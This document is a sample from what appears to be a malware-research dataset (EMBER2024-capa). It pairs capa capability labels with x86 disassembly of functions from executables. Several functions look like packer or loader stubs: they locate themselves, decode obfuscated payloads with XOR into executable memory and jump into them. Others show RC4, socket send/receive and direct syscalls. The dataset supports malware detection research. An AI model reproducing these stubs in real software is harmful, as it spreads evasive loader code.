joyce8/EMBER2024-capa huggingface dataset:
Function at 0x10001a05
Capabilities:
Encode data using xor
Encrypt data using rc4 ksa

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbfc
push eax
push ebx
push ecx
push edx
push edi
push esi
push 0x400
lea eax, [ebp - 0x400]
push eax
call fcn.10001e5b
push 4
lea eax, [ebp - 0x404]
push eax
call fcn.10001e5b
mov esi, dword [ebp + 0x10]
mov edi, dword [ebp + 8]
mov ecx, dword [ebp + 0x14]
xor ebx, ebx
jmp 0x10001a4f
mov al, byte [ebx + edi]
xor byte [esi], al
inc esi
inc ebx
dec ecx
cmp ebx, dword [ebp + 0xc]
jne 0x10001a4f
xor ebx, ebx
cmp ecx, 0
jg 0x10001a40
cmp dword [ebp - 0x404], 1
je 0x10001b19
mov eax, 0xfffefdfc
mov ecx, 0x40
mov dword [ebp + ecx*4 - 0x404], eax
sub eax, 0x4040404
dec ecx
jne 0x10001a6b
xor eax, eax
mov edi, dword [ebp + 8]
xor ebx, ebx
mov esi, dword [ebp + 0xc]
jmp 0x10001a8b
inc bl
dec esi
je 0x10001a7f
mov dl, byte ss:[ecx + ebp - 0x400]
add al, byte [ebx + edi]
add al, dl
mov dh, byte ss:[eax + ebp - 0x400]
mov byte ss:[ecx + ebp - 0x400], dh
mov byte ss:[eax + ebp - 0x400], dl
inc cl
jne 0x10001a86
mov edi, dword [ebp + 0x14]
mov esi, dword [ebp + 0x10]
test edi, edi
je 0x10001b0a
xor eax, eax
xor edx, edx
xor ecx, ecx
xor ebx, ebx
inc bl
mov dl, byte ss:[ebx + ebp - 0x400]
add al, dl
mov cl, byte ss:[eax + ebp - 0x400]
mov byte ss:[ebx + ebp - 0x400], cl
mov byte ss:[eax + ebp - 0x400], dl
add cl, dl
mov cl, byte ss:[ecx + ebp - 0x400]
xor byte [esi], cl
inc esi
dec edi
jne 0x10001ac6
xor eax, eax
lea edi, [ebp - 0x400]
mov ecx, 0x40
cld
rep stosd dword es:[edi], eax
mov dword [ebp - 0x404], 1
jmp 0x10001a33
pop esi
pop edi
pop edx
pop ecx
pop ebx
pop eax
leave
ret 0x10

Function at 0x10001c6e
Capabilities:
Get socket status
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffe8
push ebx
push edi
push esi
mov dword [ebp - 4], 0xa
cmp dword [ebp + 0x14], 0
je 0x10001c8e
push 0xffffffffffffffff
push dword [ebp + 0x14]
call sub.kernel32.dll_WaitForSingleObject
mov esi, dword [ebp + 0xc]
jmp 0x10001cd7
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp + 8]
call fcn.10001e21
push 0
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x10001cdd
push 0
push dword [ebp + 0x10]
push esi
push dword [ebp + 8]
call sub.wsock32.dll_send
test eax, eax
jle 0x10001cdd
sub dword [ebp + 0x10], eax
add esi, eax
dec dword [ebp - 4]
je 0x10001cdd
cmp dword [ebp + 0x10], 0
jne 0x10001c93
cmp dword [ebp + 0x14], 0
je 0x10001ceb
push dword [ebp + 0x14]
call sub.kernel32.dll_SetEvent
mov eax, dword [ebp + 0x10]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x10001cf5
Capabilities:
Get socket status
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffec
push ebx
push edi
push esi
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x14]
push eax
push 0
push dword [ebp + 8]
call fcn.10001e21
lea edx, [ebp - 8]
cmp dword [ebp + 0x14], 0
jne 0x10001d1c
xor edx, edx
push edx
push 0
push 0
lea eax, [ebp - 0x14]
push eax
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x10001d41
push 0
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp + 8]
call sub.wsock32.dll_recv
pop esi
pop edi
pop ebx
leave
ret 0x10

Function at 0x10001d48
Capabilities:
Resolve dns

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffbd4
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001e5b
push 0x20
lea eax, [ebp - 0x20]
push eax
call fcn.10001e5b
mov eax, dword [ebp + 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 1
mov dword [ebp - 0x14], 6
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x20]
push eax
push 0
push dword [ebp + 8]
call sub.ws2_32.dll_getaddrinfo
or eax, eax
jne 0x10001dc7
mov esi, dword [ebp - 0x24]
jmp 0x10001dc3
cmp dword [ebp + 0xc], 2
jne 0x10001dc0
cmp dword [esi + 4], 2
jne 0x10001dc0
mov eax, dword [esi + 0x18]
mov eax, dword [eax + 4]
mov dword [ebp - 0x42c], eax
push dword [ebp - 0x24]
call sub.ws2_32.dll_freeaddrinfo
jmp 0x10001dc7
mov esi, dword [esi + 0x1c]
or esi, esi
jne 0x10001d9e
mov eax, dword [ebp - 0x42c]
pop esi
pop edi
pop ebx
leave
ret 8

Function at 0x10002001
Capabilities:
Initialize winsock library

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffe4c
lea ecx, [ebp]
sub ecx, esp
push ecx
lea eax, [esp + 4]
push eax
call fcn.10001e5b
push 0x2710
call sub.kernel32.dll_Sleep
lea eax, [ebp - 0x18e]
push eax
push 0x202
call sub.wsock32.dll_WSAStartup
test eax, eax
jne 0x1000201a
mov dword [ebp - 0x198], 0x10005010
lea eax, [ebp - 0x1a0]
push eax
push 0xffffffffffffffff
push str.Fk
call fcn.10001e72
lea eax, [ebp - 0x1a0]
push eax
call fcn.10001dec
mov dword [ebp - 0x1a4], eax
push dword [ebp - 0x1a4]
push dword [ebp - 0x198]
call fcn.10001386
test eax, eax
jne 0x1000209f
cmp dword [ebp - 0x198], 0x10005010
jne 0x10002095
mov dword [ebp - 0x198], 0x1000503e
jmp 0x1000209f
mov dword [ebp - 0x198], 0x10005010
push 0x2bf20
call sub.kernel32.dll_Sleep
jmp 0x10002068

Function at 0x100020e3
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push edi
push esi
mov dword [ebp - 0xc], 0x64
push 0
push 0x80
push dword [ebp + 0x14]
push 0
push 0
push 0x40000000
push dword [ebp + 8]
call sub.kernel32.dll_CreateFileA
mov dword [ebp - 4], eax
cmp eax, 0xffffffff
jne 0x10002121
cmp dword [ebp - 0xc], 0
je 0x10002121
dec dword [ebp - 0xc]
jmp 0x100020f3
cmp dword [ebp - 4], 0xffffffff
je 0x10002152
push dword [ebp + 0x18]
push 0
push 0
push dword [ebp - 4]
call sub.kernel32.dll_SetFilePointer
push 0
lea eax, [ebp - 8]
push eax
push dword [ebp + 0x10]
push dword [ebp + 0xc]
push dword [ebp - 4]
call sub.kernel32.dll_WriteFile
push dword [ebp - 4]
call sub.kernel32.dll_CloseHandle
pop esi
pop edi
pop ebx
leave
ret 0x14
Function at 0x1000230f
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Get socket status
Set socket configuration

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffed0
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001e5b
push 6
push 1
push 2
call sub.wsock32.dll_socket
mov dword [ebp - 4], eax
push 4
push dword [ebp + 8]
lea eax, [ebp - 4]
push eax
call fcn.10001dd4
mov dword [ebp - 0x12c], 1
push 4
lea eax, [ebp - 0x12c]
push eax
push 1
push 6
push dword [ebp - 4]
call sub.wsock32.dll_setsockopt
lea eax, [ebp - 0x128]
push eax
push 0xffffffffffffffff
push dword [ebp + 0xc]
call fcn.10001e72
lea eax, [ebp - 0x128]
push eax
call fcn.10002159
or eax, eax
je 0x1000238f
lea eax, [ebp - 0x128]
jmp 0x100023a3
push 2
lea eax, [ebp - 0x128]
push eax
call fcn.10001d48
push eax
call sub.wsock32.dll_inet_ntoa
push eax
call sub.wsock32.dll_inet_addr
test eax, eax
je 0x10002453
mov dword [ebp - 0x24], eax
mov eax, dword [ebp + 0x10]
cmp eax, 0x10000
jbe 0x100023c4
push eax
call fcn.10001dec
push eax
call sub.wsock32.dll_htons
mov word [ebp - 0x26], ax
mov word [ebp - 0x28], 2
mov dword [ebp - 0x12c], 1
lea eax, [ebp - 0x12c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
push 0x10
lea eax, [ebp - 0x28]
push eax
push dword [ebp - 4]
call sub.wsock32.dll_connect
push 0
push dword [ebp + 0x14]
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 4]
call fcn.10001e21
lea eax, [ebp - 0xc]
push eax
push 0
lea eax, [ebp - 0x18]
push eax
push 0
push 0
call sub.wsock32.dll_select
cmp eax, 1
jne 0x10002453
mov dword [ebp - 0x12c], 0
lea eax, [ebp - 0x12c]
push eax
push 0x8004667e
push dword [ebp - 4]
call sub.wsock32.dll_ioctlsocket
mov dword [ebp - 0x130], 1
mov eax, dword [ebp - 0x130]
pop esi
pop edi
pop ebx
leave
ret 0x10
Function at 0x10003016
Capabilities:
Encrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffa8
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001e5b
jmp 0x1000313a
lea eax, [ebp - 0x14]
push eax
push 4
push dword [ebp + 0x18]
call sub.secur32.dll_QueryContextAttributesA
mov eax, dword [ebp - 0x14]
add eax, dword [ebp - 0xc]
add eax, dword [ebp - 0x10]
push 4
push 0x3000
push eax
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x10003144
mov dword [ebp - 0x18], eax
add eax, dword [ebp - 0x14]
mov ecx, dword [ebp + 0x10]
cmp dword [ebp - 0xc], ecx
ja 0x10003073
mov ecx, dword [ebp - 0xc]
mov edx, dword [ebp + 0xc]
add edx, dword [ebp - 0x58]
add dword [ebp - 0x58], ecx
sub dword [ebp + 0x10], ecx
push ecx
push eax
push edx
call fcn.10001dd4
push 4
lea eax, [ebp - 0x54]
push eax
lea eax, [ebp - 0x14]
push eax
call fcn.10001dd4
mov dword [ebp - 0x50], 7
push 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 0x18]
push eax
call fcn.10001dd4
mov dword [ebp - 0x48], ecx
mov dword [ebp - 0x44], 1
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
push 4
lea eax, [ebp - 0x3c]
push eax
lea eax, [ebp - 0x10]
push eax
call fcn.10001dd4
mov dword [ebp - 0x38], 6
mov eax, dword [ebp - 0x18]
add eax, dword [ebp - 0x14]
add eax, ecx
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
lea eax, [ebp - 0x54]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 4
push 0
lea eax, [ebp - 0x24]
push eax
push 0
push dword [ebp + 0x18]
call sub.secur32.dll_EncryptMessage
mov ecx, dword [ebp - 0x54]
add ecx, dword [ebp - 0x48]
add ecx, dword [ebp - 0x3c]
push dword [ebp + 0x14]
push ecx
push dword [ebp - 0x18]
push dword [ebp + 8]
call fcn.10001c6e
lea eax, [ebp - 0x18]
push eax
call fcn.10002661
cmp dword [ebp + 0x10], 0
ja 0x10003034
pop esi
pop edi
pop ebx
leave
ret 0x14
Function at 0x1000314b
Capabilities:
Decrypt data via sspi

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffac
push ebx
push edi
push esi
lea ecx, [ebp - 0xc]
sub ecx, esp
push ecx
lea eax, [esp + 0x10]
push eax
call fcn.10001e5b
push 4
push dword [ebp + 0xc]
call fcn.10001e5b
mov edi, dword [ebp + 0xc]
mov dword [ebp - 0x10], 0x8000
push 4
push 0x3000
push dword [ebp - 0x10]
push 0
call sub.kernel32.dll_VirtualAlloc
test eax, eax
je 0x10003324
mov dword [ebp - 4], eax
cmp dword [ebp - 8], 0
je 0x100031a3
cmp dword [ebp - 0x50], 0x80090318
jne 0x100031ea
mov eax, dword [ebp - 4]
add eax, dword [ebp - 8]
mov ecx, dword [ebp - 0x10]
sub ecx, dword [ebp - 8]
test ecx, ecx
jne 0x100031d3
add dword [ebp - 0x10], 0x8000
push dword [ebp - 0x10]
push dword [ebp - 8]
lea eax, [ebp - 4]
push eax
call fcn.100025f8
test eax, eax
je 0x10003324
jmp 0x100031a3
push 0
push ecx
push eax
push dword [ebp + 8]
call fcn.10001cf5
test eax, eax
jle 0x10003324
add dword [ebp - 8], eax
push 4
lea eax, [ebp - 0x4c]
push eax
lea eax, [ebp - 8]
push eax
call fcn.10001dd4
mov dword [ebp - 0x48], 1
push 4
lea eax, [ebp - 0x44]
push eax
lea eax, [ebp - 4]
push eax
call fcn.10001dd4
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0
mov dword [ebp - 0x34], 0
mov dword [ebp - 0x30], 0
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0
mov dword [ebp - 0x24], 0
mov dword [ebp - 0x20], 0
lea eax, [ebp - 0x4c]
mov dword [ebp - 0x14], eax
mov dword [ebp - 0x1c], 0
mov dword [ebp - 0x18], 4
push 0
push 0
lea eax, [ebp - 0x1c]
push eax
push dword [ebp + 0x10]
call sub.secur32.dll_DecryptMessage
mov dword [ebp - 0x50], eax
cmp dword [ebp - 0x50], 0x80090318
je 0x10003194
cmp dword [ebp - 0x50], 0x90317
je 0x100032a2
cmp dword [ebp - 0x50], 0x90321
jne 0x10003299
jmp 0x10003324
cmp eax, 0
jne 0x10003324
mov dword [ebp - 8], 0
mov ebx, 1
jmp 0x10003310
imul ecx, ebx, 0xc
lea esi, [ebp + ecx - 0x4c]
cmp dword [esi + 4], 1
jne 0x100032e1
cmp dword [esi + 8], 0
je 0x100032e1
cmp dword [esi], 0
je 0x100032e1
push dword [esi]
push dword [esi + 8]
push dword [ebp - 0x54]
push edi
call fcn.100025c2
test eax, eax
je 0x10003324
mov eax, dword [esi]
add dword [ebp - 0x54], eax
jmp 0x1000330f
cmp dword [esi + 4], 5
jne 0x1000330f
cmp dword [esi + 8], 0
je 0x1000330f
cmp dword [esi], 0
je 0x1000330f
mov edx, dword [ebp - 4]
add edx, dword [ebp - 8]
mov ecx, dword [esi]
add dword [ebp - 8], ecx
mov dword [ebp - 0x50], 0x90312
push dword [esi]
push edx
push dword [esi + 8]
call fcn.10001dd4
inc ebx
cmp ebx, 3
jbe 0x100032b0
cmp dword [ebp - 0x50], 0x90312
je 0x10003194
jmp 0x10003333
push dword [ebp + 0xc]
call fcn.10002661
mov dword [ebp - 0x54], 0
lea eax, [ebp - 4]
push eax
call fcn.10002661
mov eax, dword [ebp - 0x54]
pop esi
pop edi
pop ebx
leave
ret 0xc
Function at 0x1000f188
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
pushal
call 0x1000f197
pop dword [ebp - 0x4c]
mov eax, 0x1000f197
sub dword [ebp - 0x4c], eax
push 0x40
push 0x1000
push 0x3af65
push 0
mov eax, 0xc45f0213
add eax, 0x4ba23e51
add eax, dword [ebp - 0x4c]
call dword [eax]
mov ecx, 0x4e27fdb5
sub ecx, 0x4e27ae2e
xor edi, edi
add edi, eax
mov ebx, 0xb1ba0628
add ebx, 0x5e477fd8
add ebx, dword [ebp - 0x4c]
mov esi, 0xda856040
add esi, 0x81d15e5
mov edx, dword [ebx]
xor dword [ebp - 8], ecx
add edx, esi
mov dword [edi], edx
add dword [ebp - 0x18], 0x8d1497b7
add edi, 0xb5cd0095
add edi, 0x4a32ff6f
add ebx, 0x2732bcd5
add ebx, 0xd8cd432f
loop 0x1000f1f3
add eax, 0xa3610f63
sub eax, 0xa35fde74
mov ebx, eax
add eax, 5
mov ecx, 0x73d432b1
add ecx, 0x9c2bcd4f
add ecx, dword [ebp - 0x4c]
call ebx
leave
ret
Function at 0xef9b14
Capabilities:
Encode data using xor

Disassembly:
les esi, [edi - 0x42]
lcall 0x72ac, 0x746a1cd0
invalid
sub al, cl
jg 0xef9a97
mov cl, 0xc8
mov bl, 0x8b
or esp, dword [esi]
enter 0xffffffffffff8bb3, 0xb
add bl, ch
jmp 0xef9b1e
add byte [esi], bl
or al, 0
add byte [eax], al
add byte [eax], al
jmp 0xef9b1e
pushal
call 0xef9b24
pop ebp
sub ebp, 0x10
sub ebp, 0xaf9b14
jmp 0xef9b3a
mov eax, 0xaf9b14
add eax, ebp
add eax, 0x4c
mov ecx, 0x5d8
mov edx, 0xfee0532c
xor byte [eax], dl
inc eax
dec ecx
jne 0xef9b51
jmp 0xef9b64
cmpsd dword [esi], dword es:[edi]
loope 0xef9b0e
movsd dword es:[edi], dword [esi]
adc byte [esp + ebp], ch
sub al, 0xad
in eax, dx
aam 0x2c
sub al, 0x2c
das
loope 0xef9b09
sub ch, byte [esp + ebp]
sub al, 0x96
add al, 0x2c
sub al, 0x2c
fcmovne st(0), st(6)
das
in al, 0xa7
lodsd eax, dword [esi]
and byte [esp + ebp], ch
sub al, 0x2f
jmp 0xd0f7e42f
Function at 0x1002aadf
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1c
pushal
call 0x1002aaee
pop dword [ebp - 0xc]
mov eax, 0xb40e70f8
add eax, 0x5bf439f6
sub dword [ebp - 0xc], eax
mov dword [ebp - 0x1c], 0x126ef45
sub dword [ebp - 0x1c], 0xb2d4a9fa
mov dword [ebp - 0x18], 0x15245b92
sub dword [ebp - 0x18], 0xe2f10f4d
mov dword [ebp - 0x14], 0x2d49e254
sub dword [ebp - 0x14], 0xe0fd9e26
mov dword [ebp - 0x10], 0x16bee268
add dword [ebp - 0x10], 0xe9411d98
lea eax, [ebp - 0x1c]
push eax
mov eax, sym.imp.kernel32.dll_GetModuleHandleA
add eax, dword [ebp - 0xc]
call dword [eax]
mov dword [ebp - 0x1c], 0xeaa034c
add dword [ebp - 0x1c], 0x65c8660a
mov dword [ebp - 0x18], 0x267f7887
add dword [ebp - 0x18], 0x1aece8ee
mov dword [ebp - 0x14], 0xf2e06475
add dword [ebp - 0x14], 0x708f07f7
mov dword [ebp - 0x10], 0x57478365
add dword [ebp - 0x10], 0xa8b87c9b
lea ebx, [ebp - 0x1c]
push ebx
push eax
mov eax, sym.imp.kernel32.dll_GetProcAddress
add eax, dword [ebp - 0xc]
call dword [eax]
push 0x40
push 0x1000
push 0x34e68
push 0
call eax
mov ecx, 0x2a9a2cf5
add ecx, 0xd56614c6
mov edx, eax
mov edi, 0x8964e6f8
sub edi, 0x796150f8
add edi, dword [ebp - 0xc]
mov esi, 0x268f492d
add esi, 0xa4719b9f
xor dword [ebp - 4], 0x3d890b0e
mov ebx, dword [edi]
mov dword [ebp - 4], 0x21ac55a0
xor ebx, esi
xor dword [ebp - 8], ecx
mov dword [edx], ebx
add dword [ebp - 8], 0x3c943408
add edx, 0xee633558
add edx, 0x119ccaac
add edi, 0x2a2e188b
add edi, 0xd5d1e779
loop 0x1002ac06
add eax, 0x9174e2b0
add eax, 0x6e8c170f
xor ebx, ebx
add ebx, eax
add eax, 0xca114d44
sub eax, 0xca114d3f
mov ecx, 0x91bb964b
add ecx, 0x7e4469b5
add ecx, dword [ebp - 0xc]
call ebx
leave
ret
Function at 0x808370
Capabilities:
Extract resource via kernel32 functions

Disassembly:
mov eax, dword [esp + 4]
push ebx
push esi
push edi
push 0x1a
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov esi, eax
test esi, esi
jne 0x80838e
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push 0
call dword [sym.imp.KERNEL32.dll_LoadResource]
push esi
push 0
mov edi, eax
call dword [sym.imp.KERNEL32.dll_SizeofResource]
push edi
mov ebx, eax
call dword [sym.imp.KERNEL32.dll_LockResource]
mov ecx, dword [esp + 0x14]
push 0x831074
push ecx
mov edi, eax
call fcn.0081c198
mov esi, eax
add esp, 8
test esi, esi
jne 0x8083cb
pop edi
pop esi
xor al, al
pop ebx
ret
push esi
push ebx
push 1
push edi
call fcn.0081c02e
push esi
call fcn.0081bfb1
add esp, 0x14
mov al, 1
pop edi
pop esi
pop ebx
ret
Function at 0x80b850
Capabilities:
Query or enumerate registry value

Disassembly:
mov ecx, dword [esp + 4]
sub esp, 0x218
lea eax, [esp]
push ebp
push esi
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
push eax
push 0x20019
push 0
push ecx
push SysReAllocString
call edi
test eax, eax
jne 0x80b8ae
mov ecx, dword [esp + 0xc]
mov ebp, dword [sym.imp.ADVAPI32.dll_RegQueryValueW]
lea edx, [esp + 0x10]
lea eax, [esp + 0x1c]
push edx
push eax
push 0x836720
push ecx
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x80b8ba
mov edx, dword [esp + 0xc]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor eax, eax
pop edi
pop esi
pop ebp
add esp, 0x218
ret
mov eax, dword [esp + 0xc]
mov esi, dword [sym.imp.ADVAPI32.dll_RegCloseKey]
push eax
call esi
lea ecx, [esp + 0x1c]
push str.DefaultIcon
push ecx
call fcn.0081c1e1
add esp, 8
lea edx, [esp + 0xc]
lea eax, [esp + 0x1c]
push edx
push 0x20019
push 0
push eax
push SysReAllocString
call edi
test eax, eax
jne 0x80b8ae
mov eax, dword [esp + 0xc]
lea ecx, [esp + 0x10]
lea edx, [esp + 0x1c]
push ecx
push edx
push 0x836720
push eax
mov dword [esp + 0x20], 0x104
call ebp
test eax, eax
je 0x80b92a
mov ecx, dword [esp + 0xc]
push ecx
call esi
pop edi
pop esi
xor eax, eax
pop ebp
add esp, 0x218
ret
mov edx, dword [esp + 0xc]
push edx
call esi
lea eax, [esp + 0x1c]
push 0x2c
push eax
call fcn.0081d082
xor esi, esi
add esp, 8
cmp eax, esi
je 0x80b957
mov word [eax], si
add eax, 2
push eax
call fcn.0081d030
add esp, 4
jmp 0x80b959
xor eax, eax
lea ecx, [esp + 0x18]
push 1
lea edx, [esp + 0x18]
push ecx
push edx
push eax
lea eax, [esp + 0x2c]
mov dword [esp + 0x24], esi
push eax
mov dword [esp + 0x2c], esi
call dword [sym.imp.SHELL32.dll_ExtractIconExW]
test eax, eax
je 0x80b8ae
mov al, byte [esp + 0x22c]
test al, al
mov eax, dword [esp + 0x14]
jne 0x80b8b0
mov eax, dword [esp + 0x18]
pop edi
pop esi
pop ebp
add esp, 0x218
ret

Function at 0x80bff0
Capabilities:
Execute syscall

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword [ebp + 8]
lea edx, [ebp + 0xc]
int 0x2e
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
mov esp, ebp
pop ebp
ret
Function at 0x80c080
Capabilities:
Get common file path

Disassembly:
sub esp, 0x43c
push esi
mov esi, dword [esp + 0x444]
cmp word [esi + 2], 0x3a
je 0x80c0c4
lea eax, [esp + 0x30]
push eax
push 0x104
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea ecx, [esp + 0x30]
push 0x831458
push ecx
call fcn.0081c1e1
lea edx, [esp + 0x38]
push esi
push edx
call fcn.0081c1e1
add esp, 0x10
jmp 0x80c0d2
lea eax, [esp + 0x30]
push esi
push eax
call fcn.0081c20b
add esp, 8
lea ecx, [esp + 0x30]
lea edx, [esp + 0x238]
push ecx
push str.___s
push edx
call fcn.0081bdff
lea eax, [esp + 0x244]
lea ecx, [esp + 0x2c]
push eax
push ecx
call fcn.0080c050
mov eax, dword [0x836728]
xor esi, esi
add esp, 0x14
lea edx, [esp + 0x20]
cmp eax, esi
mov dword [esp + 8], 0x18
mov dword [esp + 0xc], esi
mov dword [esp + 0x14], 0x40
mov dword [esp + 0x10], edx
mov dword [esp + 0x18], esi
mov dword [esp + 0x1c], esi
jne 0x80c13b
push esi
call fcn.0080bfb0
add esp, 4
mov dword [0x836728], eax
mov ecx, dword [esp + 0x454]
cmp ecx, 3
jne 0x80c14c
mov ecx, 1
mov edx, dword [esp + 0x458]
push esi
push esi
push 0x20
push ecx
mov ecx, dword [esp + 0x45c]
push ecx
push edx
lea ecx, [esp + 0x40]
push esi
push ecx
mov ecx, dword [esp + 0x468]
lea edx, [esp + 0x28]
or ecx, 0x100000
push edx
lea edx, [esp + 0x28]
push ecx
push edx
push eax
call fcn.0080bff0
mov ecx, dword [esp + 0x34]
add esp, 0x30
neg eax
sbb eax, eax
pop esi
not eax
and eax, ecx
add esp, 0x43c
ret

Function at 0x80f440
Capabilities:
Enumerate pe sections

Disassembly:
mov ecx, dword [esp + 8]
push ebx
mov ebx, dword [ecx + 0x88]
test ebx, ebx
je 0x80f4b7
push esi
xor eax, eax
mov ax, word [ecx + 0x14]
xor esi, esi
mov si, word [ecx + 6]
push edi
xor edi, edi
lea eax, [eax + ecx + 0x18]
test esi, esi
jbe 0x80f48e
mov ecx, dword [eax + 8]
test ecx, ecx
jne 0x80f471
mov ecx, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
cmp ebx, edx
jb 0x80f47e
add edx, ecx
cmp ebx, edx
jb 0x80f48a
inc edi
add eax, 0x28
cmp edi, esi
jb 0x80f467
xor ecx, ecx
jmp 0x80f4a2
test eax, eax
jne 0x80f492
xor ecx, ecx
jmp 0x80f4a2
mov ecx, dword [eax + 0x14]
mov esi, dword [eax + 0xc]
mov eax, dword [esp + 0x10]
sub ecx, esi
add ecx, ebx
add ecx, eax
mov edx, dword [esp + 0x18]
push edx
push 0
push 0
push ecx
push ecx
call fcn.0080f3c0
add esp, 0x14
pop edi
pop esi
pop ebx
ret
Function at 0x80f8f0
Capabilities:
Get file size
Read file via mapping

Disassembly:
push ebx
mov eax, dword [esp + 8]
push ebp
push esi
push edi
push 0
push 0x80
push 3
push 0
push 1
push SysReAllocString
push eax
xor bl, bl
call dword [sym.imp.KERNEL32.dll_CreateFileW]
mov edi, eax
cmp edi, 0xffffffff
jne 0x80f921
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 2
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateFileMappingW]
mov ebp, eax
test ebp, ebp
jne 0x80f946
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push 0
push 0
push 4
push ebp
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
test esi, esi
jne 0x80f96e
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
pop ebp
xor al, al
pop ebx
ret
push 0
push edi
call dword [sym.imp.KERNEL32.dll_GetFileSize]
mov ecx, dword [esp + 0x18]
mov dword [ecx], esi
mov dword [ecx + 4], eax
cmp word [esi], 0x5a4d
jne 0x80f993
push ecx
push esi
call fcn.0080f4c0
add esp, 8
mov bl, al
push esi
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
push ebp
call esi
push edi
call esi
pop edi
pop esi
mov al, bl
pop ebp
pop ebx
ret